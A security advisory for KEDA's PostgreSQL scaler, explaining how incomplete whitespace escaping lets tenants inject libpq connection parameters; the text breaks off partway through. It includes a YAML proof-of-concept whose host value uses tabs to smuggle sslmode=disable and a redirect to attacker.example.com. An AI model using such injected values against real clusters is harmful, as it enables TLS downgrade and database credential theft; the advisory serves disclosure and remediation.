GHSA-6w3m-4hhp-775q: KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

Summary pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter: func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters. Vulnerable code pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257. Impact Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can: - Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword. - Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior. Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target. Proof of concept triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" After escapePo